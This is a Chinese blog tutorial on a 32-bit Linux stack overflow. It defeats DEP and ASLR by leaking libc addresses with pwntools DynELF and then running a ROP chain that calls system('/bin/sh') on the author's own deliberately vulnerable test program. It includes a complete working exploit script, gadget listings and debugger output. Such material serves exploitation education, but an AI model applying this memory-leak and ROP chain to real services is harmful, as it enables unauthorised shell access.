您的位置:首页 > 运维架构 > Linux

linux栈溢出4-绕过ROP、ASLR(不知道libc.so)

2017-07-31 10:38 891 查看
调试环境是ubuntu14 32位
这次开启了DEP、ASLR(不知道libc.so情况下)
还是参考了《一步一步学ROP之linux_x64篇》这篇文章。

代码是1.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

gcc -fno-stack-protector -o 1 1.c
开启ASLR:
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
exit

我们的最终目的是执行system('/bin/sh')代码,所以需要获取system函数的地址,以及想法获取字符串‘bin/sh’的地址。

因为不知道libc.so 文件,所以现在通过内存搜索(内存泄漏)的方式获取函数地址,这就需要用到pwntools提供的DynELF模块。
首先我们需要一个函数leak,通过这个函数可以获取指定地址上一个字节的数据,函数定义为:
def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex')) return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./1'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。

关于字符串"/bin/sh",因为无法准确获取字符串在内存中的地址,所以通过其他方式传递字符串,即通过read函数将字符串读取到.bss段首。

main函数,.bss,write@plt write@got这些都是固定的 (因为aslr只会随机化堆、栈、共享库等,不会随机化可执行程序本身),比如获取main函数地址:
root@yang-virtual-machine:~# gdb ./1
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1...(no debugging symbols found)...done.
gdb-peda$ print main
$1 = {<text variable, no debug info>} 0x8048476 <main>

可以获取到main函数地址为0x8048476。
.bss地址:
root@yang-virtual-machine:~# readelf -S .bss 1 | grep bss
readelf:错误: '.bss': No such file
[25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1
root@yang-virtual-machine:~#

因为函数read有三个参数,后边还要执行system,所以这里需要一个pop pop pop ret的gadget用来保证堆栈平衡。
可以通过一下两种方式获取:
第一种:通过gdb的peda插件中的ropgadget命令获取:
gdb-peda$ ropgadget
ret = 0x80482da
popret = 0x80482f1
pop4ret = 0x804850c
pop2ret = 0x804850e
pop3ret = 0x804850d
addesp_12 = 0x80482ee
addesp_44 = 0x8048509

第二种,可以通过objdump获取:
yang@yang-virtual-machine:~$ objdump -D 1 | grep "pop"
804823a:	5f                   	pop    %edi
8048248:	61                   	popa
8048257:	5f                   	pop    %edi
8048259:	61                   	popa
8048269:	5f                   	pop    %edi
804826c:	61                   	popa
804826f:	5f                   	pop    %edi
8048270:	5f                   	pop    %edi
8048277:	5f                   	pop    %edi
80482b4:	07                   	pop    %es
80482c4:	07                   	pop    %es
80482f1:	5b                   	pop    %ebx
8048352:	5e                   	pop    %esi
804850c:	5b                   	pop    %ebx
804850d:	5e                   	pop    %esi
804850e:	5f                   	pop    %edi
804850f:	5d                   	pop    %ebp
8048536:	5b                   	pop    %ebx
80485a4:	5c                   	pop    %esp
8049f94:	17                   	pop    %ss

最终pppr的地址为:0x804850d

最终exp如下:
#!/usr/bin/env python
from pwn import *

elf = ELF('./1')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048476

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

p = process('./1')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./1'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a024
pppr = 0x804850d

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")

p.interactive()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  linux 栈溢出
相关文章推荐